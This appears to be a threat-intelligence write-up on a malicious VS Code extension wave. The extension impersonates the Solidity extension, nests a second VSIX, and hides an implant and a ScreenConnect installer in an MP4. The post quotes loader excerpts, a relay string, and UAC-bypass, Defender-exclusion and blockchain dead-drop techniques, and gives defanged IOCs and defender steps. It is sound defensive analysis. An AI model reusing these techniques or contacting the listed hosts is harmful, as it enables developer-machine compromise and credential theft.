<p>In the first build, the nested VSIX is 29,757,954 bytes, SHA-256 <code class="language-plaintext highlighter-rouge">f1f04a6c…</code>. In the second build it is 29,758,015 bytes, SHA-256 <code class="language-plaintext highlighter-rouge">9c001803…</code>. The manifest is not the delivery identity:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Extension ID</td>
      <td><code class="language-plaintext highlighter-rouge">juanblanco.solidity</code></td>
    </tr>
    <tr>
      <td>Version</td>
      <td><code class="language-plaintext highlighter-rouge">0.0.3</code></td>
    </tr>
    <tr>
      <td>Display name</td>
      <td>“Solidity language runtime helpers”</td>
    </tr>
    <tr>
      <td>Publisher name</td>
      <td>“Juan Blanco”</td>
    </tr>
    <tr>
      <td>Files</td>
      <td>7</td>
    </tr>
    <tr>
      <td>Carrier</td>
      <td><code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code>, 54,130,171 bytes</td>
    </tr>
  </tbody>
</table>

<p>The first build waits another 45–105 seconds, then calls <code class="language-plaintext highlighter-rouge">bootstrap()</code>. The second build changes this to 3–10 seconds and starts the deploy script from the host as well; see <a href="#the-second-build">The second build</a>. <code class="language-plaintext highlighter-rouge">bootstrap()</code> checks whether the deployment already exists. On Linux and macOS it looks for binaries under <code class="language-plaintext highlighter-rouge">~/.solidity</code>. On Windows it scans <code class="language-plaintext highlighter-rouge">Program Files</code>, <code class="language-plaintext highlighter-rouge">Program Files (x86)</code>, <code class="language-plaintext highlighter-rouge">LOCALAPPDATA</code>, and <code class="language-plaintext highlighter-rouge">APPDATA</code> for any directory whose name contains <code class="language-plaintext highlighter-rouge">ScreenConnect</code>. The string is hex-encoded in the source:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">tag</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="dl">'</span><span class="s1">53637265656e436f6e6e656374</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">).</span><span class="nf">toString</span><span class="p">();</span>
</code></pre></div></div>

<p>If the deployment is missing, the extension starts <code class="language-plaintext highlighter-rouge">out/mp4Deploy.js</code> as a detached Node process with <code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE=1</code>. The editor returns to normal. The video stays in the extension directory.</p>

<h2 id="the-carrier-and-the-payload">The carrier and the payload</h2>

<p><code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> is the same file used in the September and October waves. Its SHA-256 is <code class="language-plaintext highlighter-rouge">e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d</code>. <code class="language-plaintext highlighter-rouge">NYANSTEG</code> starts at byte offset 3,944,464, inside an MP4 <code class="language-plaintext highlighter-rouge">free</code> box.</p>

<p>The container has three layers:</p>

<ol>
  <li>A <code class="language-plaintext highlighter-rouge">NYANSTEG</code> magic and a SHA-256 digest over the embedded stream.</li>
  <li>A <code class="language-plaintext highlighter-rouge">NYANB64X</code> layer that maps single base64 characters to variable-length tokens.</li>
  <li>A <code class="language-plaintext highlighter-rouge">NYANARCH</code> archive with a per-entry SHA-256 digest.</li>
</ol>

<p>The archive holds seven files. All seven are byte-identical to the September extraction:</p>

<table>
  <thead>
    <tr>
      <th>Entry</th>
      <th>Size (bytes)</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_amd64</code> (<code class="language-plaintext highlighter-rouge">evjawbreaker</code>, Go 1.26, stripped)</td>
      <td>6,291,618</td>
      <td><code class="language-plaintext highlighter-rouge">9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_arm64</code></td>
      <td>5,832,866</td>
      <td><code class="language-plaintext highlighter-rouge">b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_amd64</code></td>
      <td>6,392,832</td>
      <td><code class="language-plaintext highlighter-rouge">80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_arm64</code></td>
      <td>5,918,146</td>
      <td><code class="language-plaintext highlighter-rouge">fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">app.msi</code> (ConnectWise ScreenConnect)</td>
      <td>13,189,120</td>
      <td><code class="language-plaintext highlighter-rouge">7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">invoke.ps1</code> (UAC-bypass launcher)</td>
      <td>13,258</td>
      <td><code class="language-plaintext highlighter-rouge">37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">note.txt</code> (ASCII-art duck)</td>
      <td>866</td>
      <td><code class="language-plaintext highlighter-rouge">683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8</code></td>
    </tr>
  </tbody>
</table>

<p>The deploy script has the same anti-analysis gates as the October wave. It exits when it detects a debugger (<code class="language-plaintext highlighter-rouge">--inspect</code>, an attached inspector, x64dbg, OllyDbg, IDA, WinDbg, Procmon, Process Hacker, Wireshark, Fiddler, dnSpy, and others) or a virtual machine (DMI strings, the CPU <code class="language-plaintext highlighter-rouge">hypervisor</code> flag, <code class="language-plaintext highlighter-rouge">sysctl hw.model</code>, WMI model and BIOS fields). The comment that explains the debugger check is still in the file:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Only block when a debugger is actually attached, not just because</span>
<span class="c1">// VS Code/Cursor reserve a debug port (process.debugPort is always &gt; 0 there).</span>
</code></pre></div></div>

<p>On Linux, the script writes <code class="language-plaintext highlighter-rouge">~/.solidity/linux_amd64</code> and <code class="language-plaintext highlighter-rouge">~/.solidity/.run.py</code>, then installs a systemd user unit named <code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code> that starts the binary at login. On macOS, it writes the matching Mach-O binary and a LaunchAgent named <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner</code>, clears the quarantine attribute with <code class="language-plaintext highlighter-rouge">xattr -c</code>, and bootstraps the agent. On Windows, it runs <code class="language-plaintext highlighter-rouge">invoke.ps1</code>.</p>

<p>The Windows path uses the .NET profiler bypass tracked in earlier waves. The wrapper decompresses a second PowerShell stage, registers a profiler DLL under an HKCU CLSID, sets <code class="language-plaintext highlighter-rouge">COR_ENABLE_PROFILING</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER_PATH</code>, and <code class="language-plaintext highlighter-rouge">UAC39_PAYLOAD</code> in the user environment, then launches a Microsoft-signed MMC snap-in. The elevated MMC process loads the DLL, and the DLL runs the staged command. If the bypass fails, the script falls back to a <code class="language-plaintext highlighter-rouge">RunAs</code> prompt loop that re-prompts when the user cancels.</p>

<p>The staged command installs <code class="language-plaintext highlighter-rouge">app.msi</code>, a genuine ConnectWise ScreenConnect client. The MSI is unsigned, but the product and installer actions are real. Its launch parameters carry the relay:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>?e=Access&amp;y=Guest&amp;h=185.232.84[.]169&amp;p=8041&amp;k=…
</code></pre></div></div>

<p>The service is named <code class="language-plaintext highlighter-rouge">ScreenConnect Client (5cbe79c9c25524df)</code>. Before <code class="language-plaintext highlighter-rouge">msiexec</code> runs, the script copies the MSI into a hidden, system-marked directory under <code class="language-plaintext highlighter-rouge">LOCALAPPDATA</code>, adds a Microsoft Defender exclusion for that directory, and removes the exclusion, the staging directory, and the intermediate scripts in a <code class="language-plaintext highlighter-rouge">finally</code> block. The install is quiet and survives reboot through the ScreenConnect service.</p>

<h2 id="the-chain-channel-moved">The chain channel moved</h2>

<p><code class="language-plaintext highlighter-rouge">evjawbreaker</code> is a Go implant built at module path <code class="language-plaintext highlighter-rouge">evjawbreaker/cmd/evjawbreaker</code>. It has a TLS hub client, an interactive PTY shell through <code class="language-plaintext highlighter-rouge">github.com/creack/pty</code>, output capture, anti-VM checks, and one Ethereum JSON-RPC method: <code class="language-plaintext highlighter-rouge">eth_call</code>. It reads tasking from a contract on Ethereum mainnet. It does not write to the chain.</p>

<p>The contract is <code class="language-plaintext highlighter-rouge">0xf8a900Db50b3331be6B768bA460BB59f3E40C344</code>. It was deployed on March 14, 2026 at 13:03:47 UTC by <code class="language-plaintext highlighter-rouge">0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7</code>, which is also the address returned by the <code class="language-plaintext highlighter-rouge">owner()</code> selector. The contract is not verified on block explorers. Its selectors are readable:</p>

<table>
  <thead>
    <tr>
      <th>Selector</th>
      <th>Result at the time of writing</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x02d91518</code></td>
      <td><code class="language-plaintext highlighter-rouge">193.57.9[.]17:4912</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x1f049b68</code></td>
      <td><code class="language-plaintext highlighter-rouge">http[://]107.189.27[.]46:3000/app.js</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x8da5cb5b</code></td>
      <td><code class="language-plaintext highlighter-rouge">0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7</code></td>
    </tr>
  </tbody>
</table>

<p>The implant calls the hub selector, parses the returned string, and connects to the hub. The operator can change the hub with a single transaction. No package update, no DNS change, and no new domain registration is required. The package does not need to know the address.</p>

<p>Historical <code class="language-plaintext highlighter-rouge">eth_call</code> reads at archive blocks recover the rotation:</p>

<table>
  <thead>
    <tr>
      <th>Contract write (UTC)</th>
      <th>Hub value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-03-14 14:04</td>
      <td><code class="language-plaintext highlighter-rouge">localhost:4912</code></td>
    </tr>
    <tr>
      <td>2026-03-28 21:55</td>
      <td><code class="language-plaintext highlighter-rouge">107.189.16[.]215:4912</code></td>
    </tr>
    <tr>
      <td>2026-05-03 16:55</td>
      <td><code class="language-plaintext highlighter-rouge">91.108.240[.]156:4912</code></td>
    </tr>
    <tr>
      <td>2026-07-31 22:10</td>
      <td><code class="language-plaintext highlighter-rouge">107.189.27[.]46:4912</code></td>
    </tr>
    <tr>
      <td>2026-09-23 22:47</td>
      <td><code class="language-plaintext highlighter-rouge">107.189.27[.]223:4912</code></td>
    </tr>
    <tr>
      <td>2026-09-24 17:30</td>
      <td><code class="language-plaintext highlighter-rouge">193.57.9[.]17:4912</code></td>
    </tr>
  </tbody>
</table>

<p>The final rotation is the important one. The hub moved to <code class="language-plaintext highlighter-rouge">193.57.9[.]17</code> about six hours before the September 24 campaign went live. It has not moved since, across the October 22, October 23, October 24, and October 25 pushes. The delivery wrapper changes every day. The command channel has not changed in a month.</p>

<p>The stage-2 URL is stored separately. It has pointed at <code class="language-plaintext highlighter-rouge">http[://]107.189.27[.]46:3000/app.js</code> since May 16, 2026. That address was the hub from July 31 to September 23. This build does not call the stage-2 URL; the nested extension carries the carrier itself. The URL remains in the contract for the loader variants that still fetch it.</p>

<p><code class="language-plaintext highlighter-rouge">193.57.9[.]17</code> and <code class="language-plaintext highlighter-rouge">185.232.84[.]169</code> — the new hub and the ScreenConnect relay — both resolve to AS152900 Onidel Pty Ltd in Amsterdam. <code class="language-plaintext highlighter-rouge">107.189.27[.]46</code> and <code class="language-plaintext highlighter-rouge">107.189.27[.]223</code> resolve to AS14956 RouterHosting LLC in Zaandam. These are commercial VPS providers. The malicious components are the specific hosts, not the providers or their parent networks.</p>

<h2 id="linkage-evidence">Linkage evidence</h2>

<p>The build is linked to the SleepyDuck delivery pipeline by artifacts, not by resemblance:</p>

<ul>
  <li><strong>Icon.</strong> <code class="language-plaintext highlighter-rouge">images/icon.png</code> is byte-identical to the icon served for <code class="language-plaintext highlighter-rouge">JuanBlanco.solidity</code> 0.0.187: 21,401 bytes, SHA-256 <code class="language-plaintext highlighter-rouge">5f40b4a5510603c69994bb38326b69558cb1da00615b59cea599e865a7528025</code>.</li>
  <li><strong>Host loader.</strong> <code class="language-plaintext highlighter-rouge">out/extension.js</code> is byte-identical to the loader in <code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code> 0.0.187 and <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code> 0.0.193: SHA-256 <code class="language-plaintext highlighter-rouge">48b97958…</code>, including the hashed <code class="language-plaintext highlighter-rouge">child_process</code> lookup and the <code class="language-plaintext highlighter-rouge">An eye for an eye my friend.</code> marker.</li>
  <li><strong>Archive entries.</strong> All seven files in the MP4 archive are byte-identical to the September 24 extraction. The hashes are listed above. The carrier itself is the same 54,130,171-byte file.</li>
  <li><strong>Container format.</strong> The <code class="language-plaintext highlighter-rouge">NYANSTEG</code>, <code class="language-plaintext highlighter-rouge">NYANB64X</code>, and <code class="language-plaintext highlighter-rouge">NYANARCH</code> magics, the MP4 <code class="language-plaintext highlighter-rouge">free</code> box, the per-entry digests, and the offset 3,944,464 are unchanged.</li>
  <li><strong>Nested install.</strong> The inner extension uses the real publisher ID <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code>, the display name “Solidity language runtime helpers”, and the editor’s <code class="language-plaintext highlighter-rouge">installFromVSIX</code> command. The first build ships inner <code class="language-plaintext highlighter-rouge">0.0.3</code>; the second ships <code class="language-plaintext highlighter-rouge">0.0.4</code>. Both skip machines that already run the genuine extension.</li>
  <li><strong>Build artifacts.</strong> The published <code class="language-plaintext highlighter-rouge">package.json</code> still contains the <code class="language-plaintext highlighter-rouge">prepare:publish-deploy</code> step that copies <code class="language-plaintext highlighter-rouge">src/components/mp4Deploy.js</code> to <code class="language-plaintext highlighter-rouge">lang-resource-sync.upload.txt</code>. The <code class="language-plaintext highlighter-rouge">0.0.3</code> inner package is stamped 2026-10-24 03:11; the <code class="language-plaintext highlighter-rouge">0.0.4</code> inner package is stamped 2026-10-26 00:07.</li>
  <li><strong>Identity pattern.</strong> The publisher display name uses U+202E, and the display name appends 23 U+200B characters. The previous waves used 10 and 22 zero-width characters and the same bidi technique.</li>
  <li><strong>Infrastructure.</strong> The contract, the hub history, and the ScreenConnect relay are continuous with the earlier waves. The current hub and the relay share a hosting provider.</li>
</ul>

<p>The evidence does not establish that a single operator controls every extension in this family. It does establish that this package was built from the same source tree, with the same payload, and pointed at the same command channel as the September and October campaigns.</p>

<h2 id="what-this-wave-changes">What this wave changes</h2>

<p>The previous wave moved the carrier out of the package. <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code> 0.0.193 was 73 KB: a grammar, a README, and a 32 KB nested VSIX. The nested extension downloaded the 54 MB carrier from <code class="language-plaintext highlighter-rouge">litter[.]catbox[.]moe</code> after two randomised delays. That design had two advantages: the listed package looked small and harmless, and the executable stage arrived after install.</p>

<p>It also had two failure points. The file host could remove the file. The download created a network event that a proxy or DNS log could catch.</p>

<p>This wave removes both. The carrier is inside the nested VSIX, and the nested VSIX is inside the listed package. There is no file host, no download, and no network request before the implant runs. The cost is size: the listed package is 29.7 MB, and one file is about 29.8 MB. A language pack with a 29 MB opaque blob is a size outlier, but it is not an executable file, and the manifest declares only one <code class="language-plaintext highlighter-rouge">main</code> entry: a 2.9 KB loader.</p>

<p>Both versions in this listing are weaponised. The October 22 wave hid the dropper in a short-lived version and left a clean build on the listing. This wave has no clean twin: the first build installs the second stage, and the second build does the same with a more reliable hand-off. A reviewer who downloads either listed build gets the dropper. A reviewer who reads the manifest sees a grammar, a README, and one archive.</p>

<h2 id="the-second-build">The second build</h2>

<p>At 23:17:44 UTC, 46 minutes after the first listing, the gallery replaced <code class="language-plaintext highlighter-rouge">0.0.194</code> with <code class="language-plaintext highlighter-rouge">0.0.195</code>. The new package is 29,723,674 bytes, and its decompressed VSIX hashes to <code class="language-plaintext highlighter-rouge">4599e3f6…</code>. The carrier, the seven archive entries, the icon, and the host entry point are unchanged. The change is in <code class="language-plaintext highlighter-rouge">out/components/sideInstall.js</code>, which grows from 2,997 to 6,644 bytes.</p>

<p>The first build delegated everything to the nested extension. It copied <code class="language-plaintext highlighter-rouge">bundled.payload</code> to a temporary file, called <code class="language-plaintext highlighter-rouge">installFromVSIX</code>, and returned. The nested extension was responsible for its own activation and for the 45–105 second delay before <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code>.</p>

<p>The second build takes control of that sequence:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// representative excerpt</span>
<span class="kd">const</span> <span class="nx">innerPath</span> <span class="o">=</span> <span class="nf">innerExtensionPath</span><span class="p">();</span>          <span class="c1">// ~/.cursor/extensions, ~/.vscode/extensions</span>
<span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">innerPath</span><span class="p">)</span> <span class="k">await</span> <span class="nf">installInnerVsix</span><span class="p">(</span><span class="nx">hostExtensionPath</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">inner</span> <span class="o">=</span> <span class="nx">vscode</span><span class="p">.</span><span class="nx">extensions</span><span class="p">.</span><span class="nf">getExtension</span><span class="p">(</span><span class="nx">INNER_ID</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">inner</span><span class="p">.</span><span class="nf">activate</span><span class="p">();</span>
<span class="nf">spawnInnerDeploy</span><span class="p">(</span><span class="nx">innerPath</span><span class="p">);</span>                     <span class="c1">// fork out/mp4Deploy.js</span>
</code></pre></div></div>

<p>It finds the inner extension by scanning the Cursor and VS Code extension directories for a name that begins with <code class="language-plaintext highlighter-rouge">juanblanco.solidity-</code>. It activates the extension explicitly and starts <code class="language-plaintext highlighter-rouge">out/mp4Deploy.js</code> from the host process. The inner package moves from <code class="language-plaintext highlighter-rouge">0.0.3</code> to <code class="language-plaintext highlighter-rouge">0.0.4</code>, and its own delay drops from 45–105 seconds to 3–10 seconds. The comment in the new inner build explains why:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Short jitter only — late VSIX install misses onStartupFinished for this extension.</span>
</code></pre></div></div>

<p>A VSIX installed after startup does not receive <code class="language-plaintext highlighter-rouge">onStartupFinished</code>. The first build depended on that event to start the inner extension. When the install landed late, the inner extension activated with no event and did nothing. The second build removes that dependency by calling <code class="language-plaintext highlighter-rouge">activate()</code> itself and forking the deploy script directly. The 3–10 second jitter avoids a simultaneous launch and is short enough that the fix does not depend on another startup event.</p>

<p>The payload did not change. <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code>, <code class="language-plaintext highlighter-rouge">mp4Deploy.js</code>, and all seven archive entries are byte-identical. The nested VSIX hash changes because its <code class="language-plaintext highlighter-rouge">package.json</code> and <code class="language-plaintext highlighter-rouge">extension.js</code> changed.</p>

<p>The counters around the second build are also worth recording. Three reads of the listing in under an hour returned <code class="language-plaintext highlighter-rouge">install</code> values of 14, 97,187, and 42,046, while <code class="language-plaintext highlighter-rouge">downloadCount</code> moved from 21 to 36 to 26. Neither counter is stable enough to use as an adoption signal at this cadence.</p>

<h2 id="why-it-evades-review">Why it evades review</h2>

<table>
  <thead>
    <tr>
      <th>Assumption</th>
      <th>Behavior in this build</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>A language pack contains grammar and snippets.</td>
      <td>It contains a 29.7 MB nested VSIX.</td>
    </tr>
    <tr>
      <td>The package’s executable surface is its <code class="language-plaintext highlighter-rouge">main</code> file.</td>
      <td>The <code class="language-plaintext highlighter-rouge">main</code> file installs another extension, which carries the executable stage.</td>
    </tr>
    <tr>
      <td>Installing an extension requires a user decision.</td>
      <td>The editor installs the nested VSIX through its own command, after a delay.</td>
    </tr>
    <tr>
      <td>The publisher name identifies the publisher.</td>
      <td>The display name is a bidi string that renders as “Juan Blanco” and compares as something else.</td>
    </tr>
    <tr>
      <td>The extension name must match the tool it impersonates.</td>
      <td>The ID is <code class="language-plaintext highlighter-rouge">language-pack-sol</code>; the display name carries the impersonation.</td>
    </tr>
    <tr>
      <td>Blocking the C2 endpoint disables the implant.</td>
      <td>The hub address is read from an Ethereum contract, with twelve public RPC endpoints compiled in.</td>
    </tr>
    <tr>
      <td>File hashes identify the campaign.</td>
      <td>The payload hashes are unchanged and public. The wrapper changes with every push.</td>
    </tr>
    <tr>
      <td>A version removed from the history is no longer served.</td>
      <td>The gallery still serves <code class="language-plaintext highlighter-rouge">0.0.194</code> by direct asset URL after <code class="language-plaintext highlighter-rouge">0.0.195</code> replaced it.</td>
    </tr>
  </tbody>
</table>

<p>The dead drop is the durable part. The hub has held six different values since March. Each change is one transaction. The implant does not carry a hub address, so a blocklist built from one sample expires at the next transaction. The contract address is the stable indicator. The hub is not.</p>

<h2 id="commodity-components">Commodity components</h2>

<p>Most of this chain is off-the-shelf. The Windows backdoor is a commercial ConnectWise ScreenConnect client, built with the standard WiX Toolset and customized only with the operator’s relay. The Linux and macOS shell uses <code class="language-plaintext highlighter-rouge">github.com/creack/pty</code>, a public Go library. The implant is a standard stripped Go binary with no custom packer. Tasking relies on <code class="language-plaintext highlighter-rouge">eth_call</code> against public Ethereum RPC endpoints and a minimal contract that stores two strings under an owner account. Earlier builds in the family passed the dropper through <code class="language-plaintext highlighter-rouge">javascript-obfuscator</code>. The extension’s grammar, snippets, README, and icon are copied from the MIT-licensed canonical Solidity extension.</p>

<p>The custom parts are narrow: the <code class="language-plaintext highlighter-rouge">NYANSTEG</code> / <code class="language-plaintext highlighter-rouge">NYANB64X</code> / <code class="language-plaintext highlighter-rouge">NYANARCH</code> container, the extension-install hand-off, and the identity rotation. Everything else can be bought, cloned, or called from a public endpoint. That is the commodity thesis in practice: the barrier to entry is low, and the operational discipline is in packaging and review evasion, not in the malware.</p>

<h2 id="outlook">Outlook</h2>

<p>The delivery wrapper will keep changing. The payload has not changed since April, and there is no sign that the operator intends to rebuild it. The cheap variables are the ones that moved this week: publisher ID, extension name, display name, outer file layout, the location of the carrier, and the deployment hand-off. The operator revised the hand-off within 46 minutes of the first listing.</p>

<p>The carrier will move again. The previous wave put it on a file host; this wave put it inside the package. The next wave can put it in a different package, a different file type, or a different registry. The container format does not care whether the carrier is an MP4, a PNG, a font, or a WASM module.</p>

<p>Nested installs will continue. The editor’s <code class="language-plaintext highlighter-rouge">installFromVSIX</code> command is a legitimate feature, and an extension that calls it receives no special scrutiny. The inner package can use the real publisher ID because the outer package does not share it. The only check in this build is whether the genuine extension is already installed.</p>

<p>The dead drop will keep rotating. The contract gives the operator a way to change the hub without touching the package, and the twelve RPC endpoints give the implant a way to read the contract without a single point of failure. Blocking the current hub is a temporary measure.</p>

<p>Windows will keep using commercial remote-management software. ScreenConnect is a commercial product, widely deployed, and tolerated by many security products. The relay changes with the MSI build; the product name does not.</p>

<h2 id="what-defenders-should-do">What defenders should do</h2>

<p>The general principle is simple: an extension that installs another extension is not a language feature. Treat any extension that calls <code class="language-plaintext highlighter-rouge">workbench.extensions.command.installFromVSIX</code> or <code class="language-plaintext highlighter-rouge">workbench.extensions.installExtension</code> as a supply-chain boundary, regardless of its package size or display name.</p>

<p>Specific checks:</p>

<ol>
  <li><strong>Inventory extension IDs and versions.</strong> Look for <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> at versions <code class="language-plaintext highlighter-rouge">0.0.3</code> or <code class="language-plaintext highlighter-rouge">0.0.4</code>, or any <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> build installed from a VSIX rather than the Marketplace. The genuine extension is at <code class="language-plaintext highlighter-rouge">0.0.187</code> at the time of writing.</li>
  <li><strong>Look for the persistence artifacts.</strong> On Linux, <code class="language-plaintext highlighter-rouge">~/.solidity</code> and <code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code>. On macOS, <code class="language-plaintext highlighter-rouge">~/.solidity</code> and <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner</code>. On Windows, a ScreenConnect client whose service name contains <code class="language-plaintext highlighter-rouge">5cbe79c9c25524df</code>, and the relay <code class="language-plaintext highlighter-rouge">185.232.84[.]169:8041</code>.</li>
  <li><strong>Inspect packages for nested installers.</strong> A VSIX containing another <code class="language-plaintext highlighter-rouge">.vsix</code>, or a large opaque file with no declared language-server role, is worth opening. The <code class="language-plaintext highlighter-rouge">NYANSTEG</code> magic is a direct indicator. Check removed versions by direct URL; the gallery still serves <code class="language-plaintext highlighter-rouge">0.0.194</code>.</li>
  <li><strong>Do not rely on install counts or publisher display names.</strong> The display name is a bidi string. The README badges show the real extension’s numbers. Check the extension ID, the publisher ID, and the version bytes.</li>
  <li><strong>Block the specific endpoints, not the providers.</strong> <code class="language-plaintext highlighter-rouge">193.57.9[.]17:4912</code> and <code class="language-plaintext highlighter-rouge">107.189.27[.]46:3000</code> are actor-controlled hosts on shared VPS infrastructure. Blocking the parent networks would affect unrelated customers.</li>
  <li><strong>Treat an installed host as compromised.</strong> The implant has an interactive PTY shell and reads tasking from the chain. Remove the extension, stop and remove the persistence, then rotate every credential that touched the machine. Move wallet keys and seed phrases off the machine before rotating them.</li>
</ol>

<h2 id="iocs">IOCs</h2>

<p><strong>Extensions</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> <a href="https://pkgscan.dev/pkg/vscode-extension/luanblanco/language-pack-sol@0.0.194">Pkgscan Result</a> 0.0.194 — decompressed VSIX SHA-256 <code class="language-plaintext highlighter-rouge">b63201f7fd9c51d4f7da24d28e73bb587b218163a0b9b31d9e323dda9cdf3e36</code> <a href="https://pkgscan.dev/file/b63201f7fd9c51d4f7da24d28e73bb587b218163a0b9b31d9e323dda9cdf3e36">Pkgscan Result</a>; served gzip SHA-256 <code class="language-plaintext highlighter-rouge">f68d2c83ab70e4fa707310e509c622d095784bcebc0c4f085e6eca55b3ea76af</code>; still served by direct URL</li>
  <li><code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> <a href="https://pkgscan.dev/pkg/vscode-extension/luanblanco/language-pack-sol@0.0.195">Pkgscan Result</a> 0.0.195 — decompressed VSIX SHA-256 <code class="language-plaintext highlighter-rouge">4599e3f61b86569a105ea9390a2c8e4d3f5c54b7cc0e87c7a3f3024e529264f7</code> <a href="https://pkgscan.dev/file/4599e3f61b86569a105ea9390a2c8e4d3f5c54b7cc0e87c7a3f3024e529264f7">Pkgscan Result</a>; served gzip SHA-256 <code class="language-plaintext highlighter-rouge">4de2c216ecac35532c6a37d72bfd169de1ef042b970e1ede5b22efa314318284</code></li>
  <li><code class="language-plaintext highlighter-rouge">luanblanco.language-pack-sol</code> 0.0.2 — placeholder (<code class="language-plaintext highlighter-rouge">extneison</code>), still retrievable by direct asset URL</li>
  <li><code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> 0.0.3 — nested VSIX SHA-256 <code class="language-plaintext highlighter-rouge">f1f04a6c4dd8657675538d91628afca674bd78057cb3edf8ed7b39ca3bc1ddfa</code></li>
  <li><code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> 0.0.4 — nested VSIX SHA-256 <code class="language-plaintext highlighter-rouge">9c001803d8df1b31ce7f8d48906de5aacb14622ffc25c654c27c3a275724d52d</code></li>
  <li>Carrier <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> — 54,130,171 bytes, SHA-256 <code class="language-plaintext highlighter-rouge">e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d</code></li>
</ul>

<p><strong>Network</strong></p>

<ul>
  <li>Hub: <code class="language-plaintext highlighter-rouge">193.57.9[.]17:4912</code></li>
  <li>Stage-2 URL: <code class="language-plaintext highlighter-rouge">http[://]107.189.27[.]46:3000/app.js</code></li>
  <li>ScreenConnect relay: <code class="language-plaintext highlighter-rouge">185.232.84[.]169:8041</code></li>
  <li>Historical hubs: <code class="language-plaintext highlighter-rouge">107.189.27[.]223:4912</code>, <code class="language-plaintext highlighter-rouge">107.189.27[.]46:4912</code>, <code class="language-plaintext highlighter-rouge">91.108.240[.]156:4912</code>, <code class="language-plaintext highlighter-rouge">107.189.16[.]215:4912</code></li>
  <li>Dead-drop contract (Ethereum mainnet): <code class="language-plaintext highlighter-rouge">0xf8a900Db50b3331be6B768bA460BB59f3E40C344</code></li>
  <li>Contract owner: <code class="language-plaintext highlighter-rouge">0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7</code></li>
</ul>

<p><strong>Behavioral</strong></p>

<ul>
  <li>Extension code that calls <code class="language-plaintext highlighter-rouge">workbench.extensions.command.installFromVSIX</code> or <code class="language-plaintext highlighter-rouge">workbench.extensions.installExtension</code></li>
  <li>Inner extension ID <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> at versions <code class="language-plaintext highlighter-rouge">0.0.3</code> or <code class="language-plaintext highlighter-rouge">0.0.4</code>, display name “Solidity language runtime helpers”</li>
  <li>Hashed <code class="language-plaintext highlighter-rouge">builtinModules</code> lookup resolving to <code class="language-plaintext highlighter-rouge">child_process</code>, and a hashed <code class="language-plaintext highlighter-rouge">Object.keys</code> lookup resolving to <code class="language-plaintext highlighter-rouge">exec</code></li>
  <li>Marker string <code class="language-plaintext highlighter-rouge">An eye for an eye my friend.</code> (hex <code class="language-plaintext highlighter-rouge">416E2065796520666F7220616E20657965206D7920667269656E642E</code>)</li>
